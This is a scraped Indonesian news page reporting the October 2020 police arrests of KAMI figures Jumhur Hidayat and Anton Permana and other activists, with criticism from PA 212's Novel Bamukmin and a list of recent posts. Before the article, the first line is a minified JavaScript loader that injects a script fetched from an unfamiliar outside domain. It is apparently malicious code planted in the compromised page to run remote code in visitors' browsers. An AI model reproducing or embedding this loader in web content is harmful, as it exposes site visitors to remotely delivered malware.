(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: NASIONAL

Polri Tangkapi Tokoh KAMI: Jumhur Tadi Pagi, Anton Permana Kemarin


KANALKALIMANTAN.COM, JAKARTA – Bareskrim Polri mengakui telah meringkus tokoh Koalisi Aksi Menyelamatkan Indonesia (KAMI) Jumhur Hidayat. Selain Jumhur, Polri bahkan menyebutkan turut mengamankan Deklator KAMI Anton Permana.

Kabar penangkapan tersebut dibenarkan oleh Karo Penmas Divisi Humas Mabes Polri Brigjen Setiyono. Awi mengatakan bahwa Jumhur diringkus di kediamannyam Selasa (13/10/2020) pagi tadi.

“Iya Anton kemarin, kalau Jumhur tadi pagi ditangkap,” kata Awi. Berdasarkan informasi yang dihimpun Suara.com, setidaknya ada empat petinggi KAMI yang telah diamanakan oleh polisi.

Keempatnya yakni, Ketua KAMI Sumatra Utara, Khairi Amri; anggota Komite Eksekutif KAMI, Syahganda Nainggolan; Deklator Anggota Komite Eksekutif KAMI, Jumhur Hidayat; dan Deklator KAMI, Anton Permana.

Selain petinggi KAMI, sejumlah aktivis juga dikabarkan turut tangkap polisi. Beberapa nama aktivis yang diduga diamanakan yakni; Aktivis Perempuan Makassar Videlya Esmerella, penulis sekaligus mantan caleg Partai Keadilan Sejahtera (PKS) Kingkin Anida, dan Aktivis Pelajar Islam Indonesia (PII) Kholid Saifullah.

Wakil Sekretaris Jenderal PA 212 Novel Bamukmin turut buka suara terkait upaya polisi tangkap tokoh KAMI diduga karena sebarkan berita hoaks. Ia mengaku prihatin atas ditangkapnya para aktivis KAMI. Menurutnya, hal itu sebagai upaya kriminalisasi.

“Tentunya kami prihatin atas penangkapan pejuang perubahan dan jelas ini adalah pengkriminalisasian lagi terjadi kepada aktivis yang hanya bersebrangan dengan penguasa,” kata Novel melalui pesan singkat kepada Suara.com, Selasa.

Novel menilai, jika ada permasalahan beda pemahaman harus diselesaikan dengan cara membuka ruang dialog secara terbuka. Bukan justru melakukan penangkapan. “Titik perbedaannya bukan main tangkap begitu karena menyampaikan pendapat adalah sah dan dilindungi oleh UUD 1945 pasal 28 dan dilindungi oleh HAM internasional,” tuturnya.

Di lain sisi, Novel mengatakan, permasalahan UU Omnibus Law yang saat ini memang menjadi pertentangan jangan sampai menjerat orang dengan hukuman. “Seharusnya UU Omnibus Law memang dicabut karna sudah terlalu membuat gaduh sampai jatuh korban dari mahasiswa dan pelajar,” tandasnya.(suara)

 

Editor: Suara


Desy Arfianty

Recent Posts

Amuntai Expo dan Bazar Ekonomi Kreatif 2024

KANALKALIMANTAN.COM, AMUNTAI - Memeriahkan Hari Jadi ke-72 Kabupaten Hulu Sungai Utara (HSU) digelar Amuntai Expo… Read More

46 menit ago

Warga Muhammadiyah Banjarbaru Berhalalbihalal di Masjid At Taqwa

KANALKALIMANTAN.COM, BANJARBARU - Pimpinan Cabang Muhammadiyah Banjarbaru Utara menggelar halalbihalal sekaligus Hari Bermuhammadiyah kali pertama… Read More

4 jam ago

5 Mei Hari Bidan Sedunia

KANALKALIMANTAN.COM – Negara-negara di dunia merayakan Hari Bidan Sedunia yang jatuh pada 5 Mei setiap… Read More

9 jam ago

Syamsudin Noor Jadi Bandara Domestik, Begini Respon Wali Kota Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Pencopotan status internasional pada Bandara Syamsudin Noor Banjarmasin yang terletak di Kota… Read More

10 jam ago

Presiden Jokowi di Booth PLN PEVS 2024, Dirut PLN Paparkan Kesiapan Ekosistem Kendaraan Listrik

KANALKALIMANTAN.COM, JAKARTA - Presiden Republik Indonesia Joko Widodo (Jokowi) mengunjungi booth PT PLN (Persero) dalam… Read More

12 jam ago

Akhir Pekan Pasti Hemat, Berikut Promo BRI hingga 30 Persen di 8 Kota Indonesia

KANALKALIMANTAN.COM – Bagi sebagian orang, akhir pekan (weekend) merupakan waktu yang dinanti. Sembari rehat bekerja,… Read More

16 jam ago

This website uses cookies.